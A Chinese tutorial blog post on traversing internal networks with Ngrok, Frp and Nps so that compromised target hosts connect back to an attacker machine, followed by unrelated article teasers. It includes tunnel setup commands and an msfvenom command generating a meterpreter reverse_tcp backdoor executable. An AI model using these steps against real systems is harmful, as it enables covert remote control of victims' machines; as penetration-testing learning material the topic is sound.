内网穿透工具及技术总结

攻击主机在内网,控制其他网段内网的主机,理论上是不可行的(攻击机和目标机都在内网 连接就是从内网到内网)

绕过内网协议实现上线(穿透),按照我的理解就是穿透技术解决的问题就是解决内网到内网、外网到内网的通信问题

接下来我们以Nrgwork、Frp、Nps三款常见的内网穿透工具为例子来进行说明

Nrgwork

这是一款商业的内网穿透工具,但是也有免费的产品供给我们使用

原理

寻找一个外网的跳板机,先通过一个手段时内网的主机和跳板机先进行连接,连接好之后就相当于建立了一个通道。然后使用外部的目标主机去连接我们与内网建立好的通道的内网主机,这样我们就做到了目标主机通过隧道主动连接到了我们的内网主机,一方面解决了外网主机到内网主机的一个连接,另外一方面也做到了出网减少防火墙阻挡的情况

操作步骤如下

选择产品,并配置我们的ip端口信息

下载客户端到内网主机上面

执行语句建立隧道

建立好隧道后,我们可以在本地内网的攻击主机下载好客户端后输入网站配置好的id就可以建立好连接

使用./sunny clientid 网站分配的ID号

这就表名我们内网的主机已经和和Nrgok已经建立了连接

我们使用msf生成一个http反向连接的后门程序

生成一个连接跳板主机的木马,跳板机的地方收到了来自于目标主机的上线流量之后就可以将上线的流量转发到我们的内网攻击主机上面,从而实现上线

Frp

frp是一个专注于内网穿透的高性能反向代理工具,支持udp tcp https http等多种协议可以将内网访问以安全便捷的方式通过具有ip节点的中转暴露到公网中

配置服务端

进行配置 服务器修改配置文件frps.ini

bind_port=7000

启动服务端

./frps -c ./frps.ini

客户端修改配置

通过上面两步的操作就顺利建立了客户端和服务器端的连接隧道

在远程主机访问本地的6000端口的流量就会转发到主机的6688端口

生成木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxxx.xxxx.xxx LPORT=6000 -f exe > frp.exe

最后执行木马实现上线

Nps

nps是一款轻量级高性能功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,

可支持任何tcp和udp的上层协议(访问内网网站 本地接口调试 ssh访问 远程桌面 内网dns解析等等)

此外还有http代理服务 内网sockets5服务 p2p等等

配置文件

如果有端口占用请修改配置文件,一般情况下直接使用默认配置即可

启动服务

nps.exe install

nps.exe start

访问8080端口

环境搭建成功

新建一个客户端,直接设置一个项目名称就行

在服务端建立连接记录这个秘钥

在客户端执行连接命令

内网主机和nps服务器通过秘钥和客户端进行连接

生成NPS服务端的通信端口的后门(工具收到流量后会将流量转发到我们的内网控制主机)

监听本地的5555端口,在目标主机上执行后门就可以上线

最终外网主机通过NPS隧道反向上线了我们的内网主机

总结

这三款工具Nrgwork是一款商业产品,免费版本的带宽和稳定性包括我们的数据流量的安全性都得不到保障,但是较为直观可以了解内网穿透的原理,不推荐使用。第二款是较为有名的工具(hw面试中也可能会被问到),但是配置是文件的形式,不太直观,但是通信方面较好。第三款工具,有图形化的界面操作,步骤较为直观,支持协议较多,推荐使用

写在最后

在做内网穿透实验的时候会遇到很多问题,例如工具版本是否匹配,不同的操作系统会使用不同的版本的工具识别。其次设置好防火墙的规则很重要。最后也是我踩到的最大的坑就是在使用云服务器例如阿里云 腾讯云等等主机的时候要关注平台的防火墙策略,因为忽略了这个,我查错了了一天,愿各位可以避免这个问题,少走弯路。

如有错误,请及时指出,谢谢。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/625682.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

centos7下升级openssh9.6版本以上远程连接报ssh服务器不能连接错误

解决方法: 1、在sshd_config文件添加如下配置 vim /etc/ssh/sshd_config UsePAM yes 2、如果/etc/pam.d/sshd不存在,添加如下配置 vim /etc/pam.d/sshd #%PAM-1.0 auth required pam_sepermit.so auth substack password-auth a…

一文读懂大模型剪枝:轻量级AI如何领跑未来科技

大模型剪枝概述 近年来,Transformer和MOE架构的崛起,推动了深度学习模型参数规模的飙升,轻松突破上万亿。面对模型日益庞大的挑战,大模型压缩技术应运而生。该技术旨在降低模型部署成本,提升推理性能。主要压缩方法包括…

Python-VBA函数之旅-eval函数

目录 一、eval函数的常见应用场景: 二、eval函数安全使用注意事项: 三、eval函数与exec函数对比分析: 1、eval函数: 1-1、Python: 1-2、VBA: 2、相关文章: 个人主页:ht…

00_Qt概述以及如何创建一个QT新项目

Qt概述 1.Qt概述1.1 什么是Qt1.2 Qt的发展史1.3 支持的平台1.4 Qt版本1.5 Qt的下载与安装1.6 Qt的优点 2.QT新项目创建3.pro文件4.主函数5.代码命名规范和快捷键 1.Qt概述 1.1 什么是Qt Qt是一个跨平台的C图形用户界面应用程序框架。它为应用程序开发者提供建立艺术级图形界面…

Langchain入门到实战-第三弹

Langchain入门到实战 Langchain中RAG入门官网地址Langchain概述代码演示调用RAG功能更新计划 Langchain中RAG入门 Retrieval Augmented Generation 翻译成中文是“检索增强生成” 官网地址 声明: 由于操作系统, 版本更新等原因, 文章所列内容不一定100%复现, 还要以官方信息…

实验六 智能手机互联网程序设计(微信程序方向)实验报告

实验目的和要求 请完成创建图片库应用&#xff0c;显示一系列预设的图片。 提供按钮来切换显示不同类别的图片。 二、实验步骤与结果&#xff08;给出对应的代码或运行结果截图&#xff09; 1.WXML <view> <button bindtap"showAll">所有图片</but…

javase__进阶 day14 IO(异常File综合案例)

1. 异常 1.1 异常概念 异常&#xff0c;就是不正常的意思。在生活中:医生说,你的身体某个部位有异常,该部位和正常相比有点不同,该部位的功能将受影响.在程序中的意思就是&#xff1a; 异常 &#xff1a;指的是程序在执行过程中&#xff0c;出现的非正常的情况&#xff0c;最…

学浪视频怎么保存到本地

学浪怎么保存到本地?快来看看这个小浪助手 我写了将近2000多行代码&#xff0c;使用易语言编写的 这里给大家我打包好的工具&#xff0c;有需要的自己取一下 学浪下载器链接&#xff1a;https://pan.baidu.com/s/1y7vcqILToULrYApxfEzj_Q?pwdkqvj 提取码&#xff1a;kqvj…

error: failed to push some refs to ‘https://gitee.com/zhao-zhimin12/gk.git‘

git push origin master发现以下报错: 解决办法: 一、强制推送 git push origin master -f &#xff08;加上 -f 就是强制&#xff09; 二、 先拉取最新代码&#xff0c;再推送 1.git pull origin master 2.git push origin master

【Web】2022DASCTF Apr X FATE 防疫挑战赛 题解(全)

目录 warmup-php soeasy_php warmup-java warmup-php spl_autoload_register函数实现了当程序遇到调用没有定义过的函数时&#xff0c;会去找./class/函数名.php路径下的php文件&#xff0c;并把它包含在程序中。 拿到附件拖进Seay里自动审计一下 显然利用终点为evaluateExp…

vue:如何通过两个点的经纬度进行距离的计算(很简单)

首先假设从api获取到了自己的纬经度和别人的纬经度 首先有一个概念需要说一下 地球半径 由于地球不是一个完美的球体&#xff0c;所以并不能用一个特别准确的值来表示地球的实际半径&#xff0c;不过由于地球的形状很接近球体&#xff0c;用[6357km] 到 [6378km]的范围值可以…

基于小程序实现的餐饮外卖系统

作者主页&#xff1a;Java码库 主营内容&#xff1a;SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app等设计与开发。 收藏点赞不迷路 关注作者有好处 文末获取源码 技术选型 【后端】&#xff1a;Java 【框架】&#xff1a;spring…